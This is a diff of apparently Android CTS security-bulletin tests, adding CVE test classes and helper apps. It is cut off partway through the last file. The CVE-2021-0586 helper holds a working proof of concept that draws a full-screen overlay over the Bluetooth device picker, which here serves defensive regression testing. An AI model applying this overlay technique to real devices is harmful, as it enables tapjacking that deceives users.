@@ -20,18 +20,19 @@
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import static org.junit.Assert.*;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_29368 extends SecurityTestCase {
+public class CVE_2018_9594 extends SecurityTestCase {
 
-   /**
-     * b/174738029
-     *
+    /**
+     * b/116791157
+     * Vulnerability Behaviour: SIGSEGV in self
      */
-    @AsbSecurityTest(cveBugId = 174738029)
+    @AsbSecurityTest(cveBugId = 116791157)
     @Test
-    public void testPocCVE_2021_29368() throws Exception {
-        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-29368", getDevice(),60);
+    public void testPocCVE_2018_9594() throws Exception {
+        AdbUtils.assumeHasNfc(getDevice());
+        pocPusher.only64();
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2018-9594", null, getDevice());
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java
similarity index 85%
rename from hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
rename to hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java
index b0f19ad..43a058c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java
@@ -23,7 +23,7 @@
 import static org.junit.Assert.*;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_29368 extends SecurityTestCase {
+public class CVE_2020_29368 extends SecurityTestCase {
 
    /**
      * b/174738029
@@ -31,7 +31,7 @@
      */
     @AsbSecurityTest(cveBugId = 174738029)
     @Test
-    public void testPocCVE_2021_29368() throws Exception {
-        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-29368", getDevice(),60);
+    public void testPocCVE_2020_29368() throws Exception {
+        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2020-29368", getDevice(),60);
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java
new file mode 100644
index 0000000..52e2a3a
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0586 extends BaseHostJUnit4Test {
+    private static final String TEST_PKG = "android.security.cts.cve_2021_0586";
+    private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+    private static final String TEST_APP = "CVE-2021-0586.apk";
+
+    @Before
+    public void setUp() throws Exception {
+        uninstallPackage(getDevice(), TEST_PKG);
+    }
+
+    /**
+     * b/182584940
+     */
+    @AppModeFull
+    @AsbSecurityTest(cveBugId = 182584940)
+    @Test
+    public void testPocCVE_2021_0586() throws Exception {
+        installPackage(TEST_APP);
+        AdbUtils.runCommandLine("pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW",
+                getDevice());
+        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testClick"));
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java
new file mode 100644
index 0000000..0c8f0a9
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java
@@ -0,0 +1,83 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.platform.test.annotations.RequiresDevice;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import java.util.regex.Pattern;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.hamcrest.core.Is.is;
+import static org.junit.Assert.assertThat;
+import static org.junit.Assume.assumeTrue;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0591 extends BaseHostJUnit4Test {
+
+    private static final String TEST_PKG = "android.security.cts.CVE_2021_0591";
+    private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+    private static final String TEST_APP = "CVE-2021-0591.apk";
+
+    @Before
+    public void setUp() throws Exception {
+        uninstallPackage(getDevice(), TEST_PKG);
+    }
+
+    /**
+     * b/179386960
+     */
+    @AppModeFull
+    @AsbSecurityTest(cveBugId = 179386960)
+    @Test
+    public void testPocCVE_2021_0591() throws Exception {
+        ITestDevice device = getDevice();
+
+        assumeTrue("Bluetooth is not available on device",
+                device.hasFeature("android.hardware.bluetooth"));
+
+        /* Clear the logs in the beginning */
+        AdbUtils.runCommandLine("logcat -c", device);
+        installPackage();
+        try {
+            runDeviceTests(TEST_PKG, TEST_CLASS, "testClick");
+        } catch (AssertionError error) {
+            /* runDeviceTests crashed, do not continue */
+            error.printStackTrace();
+            return;
+        }
+        String screenshotServiceErrorReceiver =
+                "com.android.systemui.screenshot.ScreenshotServiceErrorReceiver";
+        String logcat =
+                AdbUtils.runCommandLine("logcat -d BluetoothPermissionActivity *:S", device);
+        Pattern pattern = Pattern.compile(screenshotServiceErrorReceiver, Pattern.MULTILINE);
+        String message = "Device is vulnerable to b/179386960 "
+                + "hence it is possible to sent a broadcast intent to "
+                + screenshotServiceErrorReceiver;
+        assertThat(message, pattern.matcher(logcat).find(), is(false));
+    }
+
+    private void installPackage() throws Exception {
+        installPackage(TEST_APP, new String[0]);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0596.java
similarity index 69%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0596.java
index b0f19ad..0562b49 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0596.java
@@ -18,20 +18,21 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.Test;
 import org.junit.runner.RunWith;
-import static org.junit.Assert.*;
+import org.junit.Test;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_29368 extends SecurityTestCase {
+public class CVE_2021_0596 extends SecurityTestCase {
 
-   /**
-     * b/174738029
-     *
+    /**
+     * b/181346550
+     * Vulnerability Behaviour: SIGSEGV in self
      */
-    @AsbSecurityTest(cveBugId = 174738029)
+    @AsbSecurityTest(cveBugId = 181346550)
     @Test
-    public void testPocCVE_2021_29368() throws Exception {
-        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-29368", getDevice(),60);
+    public void testPocCVE_2021_0596() throws Exception {
+        AdbUtils.assumeHasNfc(getDevice());
+        pocPusher.only64();
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0596", null, getDevice());
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java
similarity index 73%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java
index b0f19ad..4df0f6f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java
@@ -1,4 +1,4 @@
-/*
+/**
  * Copyright (C) 2021 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
@@ -17,21 +17,20 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import static org.junit.Assert.*;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_29368 extends SecurityTestCase {
+public class CVE_2021_0684 extends SecurityTestCase {
 
-   /**
-     * b/174738029
-     *
+    /**
+     * b/179839665
+     * Vulnerability Behaviour: SIGSEGV in Self
      */
-    @AsbSecurityTest(cveBugId = 174738029)
+    @AsbSecurityTest(cveBugId = 179839665)
     @Test
-    public void testPocCVE_2021_29368() throws Exception {
-        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-29368", getDevice(),60);
+    public void testPocCVE_2021_0684() throws Exception {
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0684", null, getDevice());
     }
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/Android.bp
similarity index 63%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-0586/Android.bp
index 7b410b7..9adb876 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/Android.bp
@@ -15,8 +15,19 @@
  *
  */
 
-cc_test {
-    name: "CVE-2021-29368",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+android_test_helper_app {
+    name: "CVE-2021-0586",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "cts",
+        "vts10",
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+        "androidx.test.core",
+    ],
+    sdk_version: "current",
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/AndroidManifest.xml
new file mode 100644
index 0000000..9ec48ca
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/AndroidManifest.xml
@@ -0,0 +1,49 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    package="android.security.cts.cve_2021_0586"
+    android:versionCode="1"
+    android:versionName="1.0">
+
+    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+    <uses-permission android:name="android.permission.WAKE_LOCK" />
+
+    <application
+        android:allowBackup="true"
+        android:label="CVE_2021_0586"
+        android:supportsRtl="true">
+        <uses-library android:name="android.test.runner" />
+        <service android:name=".PocService"
+            android:enabled="true"
+            android:exported="false" />
+
+        <activity android:name=".PocActivity"
+            android:exported="true"
+            android:taskAffinity="android.security.cts.cve_2021_0586.PocActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+
+   <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.cve_2021_0586" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/drawable/cve_2021_0586.png b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/drawable/cve_2021_0586.png
new file mode 100644
index 0000000..cab903e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/drawable/cve_2021_0586.png
Binary files differ
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/layout/activity_main.xml
new file mode 100644
index 0000000..4d7ba2e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/layout/activity_main.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:orientation="vertical"
+    android:id="@+id/parent"
+    android:background="#FFFFFF"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+    <View
+        android:id="@+id/drawableview"
+        android:layout_width="match_parent"
+        android:layout_height="300dp" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/values/strings.xml
new file mode 100644
index 0000000..dcdbe0a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/values/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<resources>
+    <string name="overlay_button">OverlayButton</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java
new file mode 100644
index 0000000..8e315c0
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0586;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.os.SystemClock;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+import java.util.regex.Pattern;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    private static final String TEST_PKG = "android.security.cts.cve_2021_0586";
+    private static final int LAUNCH_TIMEOUT_MS = 20000;
+    private UiDevice mDevice;
+
+    @Before
+    public void startMainActivityFromHomeScreen() {
+        mDevice = UiDevice.getInstance(getInstrumentation());
+        mDevice.pressHome();
+        Context context = getApplicationContext();
+        assertNotNull(context);
+        PackageManager packageManager = context.getPackageManager();
+        assertNotNull(packageManager);
+        final Intent intent = packageManager.getLaunchIntentForPackage(TEST_PKG);
+        assertNotNull(intent);
+        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+        context.startActivity(intent);
+        mDevice.wait(Until.hasObject(By.pkg(TEST_PKG).depth(0)), LAUNCH_TIMEOUT_MS);
+    }
+
+    @After
+    public void lastOperation() {
+        SystemClock.sleep(LAUNCH_TIMEOUT_MS);
+    }
+
+    @Test
+    public void testClick() {
+        Pattern pattern = Pattern.compile(
+                getApplicationContext().getResources().getString(R.string.overlay_button),
+                Pattern.CASE_INSENSITIVE);
+        BySelector selector = By.text(pattern);
+        String message = "Device is vulnerable to b/182584940 hence any app with "
+                + "SYSTEM_ALERT_WINDOW can overlay the Bluetooth DevicePickerActivity screen";
+        assertNull(message, mDevice.findObject(selector));
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/PocActivity.java
new file mode 100644
index 0000000..e242a4e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/PocActivity.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0586;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Environment;
+import android.os.Handler;
+import android.os.PowerManager;
+import android.os.PowerManager.WakeLock;
+import android.provider.Settings;
+import android.view.View;
+
+public class PocActivity extends Activity {
+    private WakeLock mScreenLock;
+    private Context mContext;
+
+    private void startOverlayService() {
+        if (Settings.canDrawOverlays(this)) {
+            Intent intent = new Intent(PocActivity.this, PocService.class);
+            startService(intent);
+        } else {
+            try {
+                Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION);
+                startActivityForResult(intent, 1);
+            } catch (Exception e) {
+                e.printStackTrace();
+            }
+        }
+    }
+
+    private void stopOverlayService() {
+        Intent intent = new Intent(PocActivity.this, PocService.class);
+        stopService(intent);
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        mContext = this.getApplicationContext();
+        PowerManager pm = mContext.getSystemService(PowerManager.class);
+        mScreenLock = pm.newWakeLock(
+                PowerManager.SCREEN_BRIGHT_WAKE_LOCK | PowerManager.ACQUIRE_CAUSES_WAKEUP,
+                "PocActivity");
+        mScreenLock.acquire();
+        try {
+            Thread.sleep(6000);
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.activity_main);
+        startOverlayService();
+        Intent sharingIntent = new Intent(Intent.ACTION_SEND);
+        sharingIntent.setType("image/*");
+        sharingIntent.setPackage("com.android.bluetooth");
+        Uri uri = Uri.parse("android.resource://android.security.cts.CVE_2021_0586"
+                + "/drawable/cve_2021_0586.png");
+        sharingIntent.putExtra(Intent.EXTRA_STREAM, uri);
+        startActivity(Intent.createChooser(sharingIntent, "Share image"));
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+        mScreenLock.release();
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/PocService.java
new file mode 100644
index 0000000..6f0df6a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/PocService.java
@@ -0,0 +1,98 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0586;
+
+import android.app.Service;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.Bitmap;
+import android.graphics.Color;
+import android.graphics.PixelFormat;
+import android.os.Handler;
+import android.os.IBinder;
+import android.provider.Settings;
+import android.view.Gravity;
+import android.view.MotionEvent;
+import android.view.View;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+
+public class PocService extends Service {
+    public static Button mButton;
+    private WindowManager mWindowManager;
+    private WindowManager.LayoutParams mLayoutParams;
+
+
+    private static int getScreenWidth() {
+        return Resources.getSystem().getDisplayMetrics().widthPixels;
+    }
+
+    private static int getScreenHeight() {
+        return Resources.getSystem().getDisplayMetrics().heightPixels;
+    }
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        mWindowManager = getSystemService(WindowManager.class);
+        mLayoutParams = new WindowManager.LayoutParams();
+        mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+        mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+                | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+        mLayoutParams.format = PixelFormat.OPAQUE;
+        mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+        mLayoutParams.width = getScreenWidth();
+        mLayoutParams.height = getScreenHeight();
+        mLayoutParams.x = getScreenWidth() / 2;
+        mLayoutParams.y = getScreenHeight() / 2;
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        showFloatingWindow();
+        return super.onStartCommand(intent, flags, startId);
+    }
+
+    @Override
+    public void onDestroy() {
+        if (mWindowManager != null && mButton != null) {
+            mWindowManager.removeView(mButton);
+        }
+        super.onDestroy();
+    }
+
+    private void showFloatingWindow() {
+        if (Settings.canDrawOverlays(this)) {
+            mButton = new Button(getApplicationContext());
+            mButton.setText(getResources().getString(R.string.overlay_button));
+            mWindowManager.addView(mButton, mLayoutParams);
+            new Handler().postDelayed(new Runnable() {
+                @Override
+                public void run() {
+                    onDestroy();
+                }
+            }, 60000); // one minute
+            mButton.setTag(mButton.getVisibility());
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/Android.bp
similarity index 62%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-0591/Android.bp
index 7b410b7..4afdb32 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/Android.bp
@@ -15,8 +15,21 @@
  *
  */
 
-cc_test {
-    name: "CVE-2021-29368",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+android_test_helper_app {
+    name: "CVE-2021-0591",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "cts",
+        "vts10",
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+    ],
+    sdk_version: "current",
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/AndroidManifest.xml
new file mode 100644
index 0000000..8e33f0a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/AndroidManifest.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2021_0591"
+    android:versionCode="1"
+    android:versionName="1.0">
+    <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" />
+    <application
+        android:allowBackup="true"
+        android:label="CVE-2021-0591"
+        android:supportsRtl="true">
+
+        <activity android:name=".PocActivity" android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+
+  <instrumentation
+    android:name="androidx.test.runner.AndroidJUnitRunner"
+    android:targetPackage="android.security.cts.CVE_2021_0591" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/res/layout/activity_main.xml
new file mode 100644
index 0000000..a85bec9
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/res/layout/activity_main.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+        android:orientation="vertical"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent">
+    <View
+        android:id="@+id/drawableview"
+        android:layout_width="match_parent"
+        android:layout_height="300dp" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/src/android/security/cts/CVE_2021_0591/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/src/android/security/cts/CVE_2021_0591/DeviceTest.java
new file mode 100644
index 0000000..0ca91d8
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/src/android/security/cts/CVE_2021_0591/DeviceTest.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0591;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.os.SystemClock;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
